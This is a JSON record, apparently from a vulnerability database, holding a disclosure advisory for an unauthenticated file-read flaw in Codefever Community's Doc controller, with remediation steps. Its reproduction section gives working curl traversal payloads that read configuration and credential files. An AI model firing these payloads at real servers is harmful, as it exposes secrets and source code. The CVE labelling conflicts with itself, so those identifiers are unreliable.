{"uuid": "9d7d2eae-6956-4bbb-baac-9ef13b2db8c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-44080", "type": "seen", "source": "https://gist.github.com/qianqiusujiu/1ab3ac0baedc7522ce52f3848c9e9b79", "content": "# Codefever Community Directory Traversal (CodeIgniter 2.1.1)\n\n**CWE-22 \u00b7 Unauthenticated \u00b7 Arbitrary file read via the Doc controller URI path (`....//` sanitizer-reordering bypass)**\n\n&gt; **Vendor:** PGYER\n&gt; **Product:** Codefever Community (CodeIgniter 2.1.1)\n&gt; **Affected version:** master branch, latest as of 2026-09-30 (commit 0c35e60); no official release version\n&gt; **Affected endpoints:** `GET /doc//` (e.g. `/doc/cn/`, `/doc/en/`) \u2192 `application/controllers/doc.php::_detail()`; `_assets()` shares the same sink\n&gt; **Disclosed via:** VulDB (submission #xxxxxx)\n&gt; **Note:** Sensitive extracted values (credentials) have been redacted from this public disclosure.\n\n## 1. Summary\n\nThe public documentation route `GET /doc//` is handled by `application/controllers/doc.php::_detail()`: the CodeIgniter URI string is taken verbatim and re-joined into a filesystem path (`$docFile = $rootDir . implode('/', array_slice($segments, 2))`) with **no `realpath()`/`basename()` containment**, then read with `file_get_contents()` and echoed into the doc view. The route requires no authentication. CodeIgniter 2.1.1's URI sanitizer (`str_replace(array('//','../'), '/', ...)` in `system/core/URI.php:222`) collapses literal `../` segments, but the sequential application of `str_replace` patterns can be **reordered**: `....//` segments re-form `../` *after* the sanitizer has run, yielding a full unauthenticated arbitrary file read (verified 6 hops beyond the repository root).\n\n## 2. Root Cause\n\n| File | Lines | Role |\n|---|---|---|\n| `application/controllers/doc.php` | 60-68 | `_detail()` \u2014 URI string \u2192 filesystem path, no containment |\n| `application/controllers/doc.php` | 79 | `file_exists($docFile)` \u2014 accepts any existing path |\n| `application/controllers/doc.php` | 99 | `file_get_contents($docFile)` echoed into the doc view |\n| `application/controllers/doc.php` | 121-133 | `_assets()` \u2014 same unsanitized `$docFile` via `finfo`/`fopen`/`echo` |\n| `system/core/URI.php` | 222 | CI 2.1.1 sanitizer \u2014 `str_replace(array('//','../'), '/', ...)` |\n\n```php\n// application/controllers/doc.php (_detail)\n$path    = $this-&gt;uri-&gt;uri_string;                    // L60 - raw URI\n$segments = explode('/', $path);                      // L62\n$rootDir  = implode('/', [dirname(APPPATH), 'doc', $docPath]) . '/';  // L66\n$docDir   = array_slice($segments, 2);                // L67\n$docFile  = $rootDir . implode('/', $docDir);         // L68 - NO containment check\n...\n$this-&gt;load-&gt;view('doc/detail', [ ..., 'doc' =&gt; str_replace('`','\\\\`', file_get_contents($docFile)) ]); // L99\n```\n\nWhy the naive `../` payload fails and `....//` works \u2014 CI 2.1.1 sanitizes with sequential `str_replace` passes:\n\n```text\ninput segment:      ....//....//\npass 1 ('//' -&gt; '/'):  ...../...../      (each '//-' collapsed first)\npass 2 ('../' -&gt; '/'):  ../../../         (traversal RE-FORMED after sanitization)\n```\n\n- `permitted_uri_chars` (application/config/config.php:129) includes `.`, so dot segments pass `_filter_uri`.\n- `Base::__construct` never enforces login \u2014 the route is fully unauthenticated.\n\n## 3. Prerequisites\n\n- None. No authentication, no configuration, no victim interaction \u2014 a single GET request.\n- The fronting SAPI must pass dot-segments to PHP un-normalized (`php -S` and Apache `PATH_INFO` do; request with `curl --path-as-is`).\n\n## 4. Reproduction\n\n```bash\n# 2 hops: read a configuration file outside the web docroot (inside the repo)\ncurl --path-as-is 'http:///doc/cn/....//....//application/config/database.php'\n# -&gt; HTTP 200, raw file content embedded in the application's doc view\n\n# 6 hops: escape the repository root entirely - arbitrary absolute-depth read\ncurl --path-as-is 'http:///doc/cn/....//....//....//....//....//....//'\n```\n\nConfirmed results (unmodified application, real routing/controllers/views):\n\n- `/doc/cn/....//....//application/config/database.php` \u2192 HTTP 200, the raw `database.php` text rendered inside the app's own doc view wrapper (`div.doc-content` present).\n- 6-hop variant \u2192 HTTP 200 with the content of an arbitrary file on the same drive (verified reading a file outside the installation directory).\n- Naive literal `../` payload \u2192 does NOT fire: the Doc constructor redirects slash-less paths and CI collapses `../` in `URI.php:222` before `uri_string` is built.\n- Encoded variant `/doc/cn/..%2f..%2f...` \u2192 NOT exploitable on this stack (CI 2.1.1 never URL-decodes URI segments).\n\n## 5. Confirmed Techniques\n\n- `....//` str_replace-reordering bypass (2 and 6 hops), `curl --path-as-is`, no cookies sent.\n- `file_exists()` gating passes for any existing path; content echoed verbatim inside the doc view.\n- `_assets()` branch (doc.php:121-133) shares the same unsanitized `$docFile` (reached when the basename matches `/^\\w{32}\\.png$/`) \u2014 same root cause, not separately exercised.\n\n## 6. Impact\n\n- An unauthenticated attacker reads arbitrary files on the web server's drive: source code, configuration files, and any secrets readable by the PHP user.\n- In the shipped Docker deployment, `env.yaml` holding database credentials sits exactly at the traversed location; `/etc/passwd` and application sources are readable.\n- Read-only primitive (no write/delete via this sink).\n\n## 7. CVSS 3.1\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` (Base 7.5 High)\n\n## 8. Remediation\n\n- After building `$docFile`, verify containment: `str_starts_with(realpath($docFile), realpath($rootDir))` and reject the request otherwise.\n- Reject any URI segment containing `..` before `implode()` (in addition to, not instead of, the realpath check).\n- Apply the same containment to the `_assets()` branch.\n\n## 9. References\n\n- Project: https://github.com/PGYER/codefever\n- CWE-22: https://cwe.mitre.org/data/definitions/22.html\n- Distinct from CVE-2023-26817 (RCE) and CVE-2023-44080 (branchList) \u2014 different files and root causes\n- External disclosure: [GIST_URL]\n- VulDB submission #xxxxxx\n\n---\n*All validation was performed in a local, isolated environment. The temporary environment was destroyed after testing.*\n", "creation_timestamp": "2026-09-29T18:30:31.000000Z"}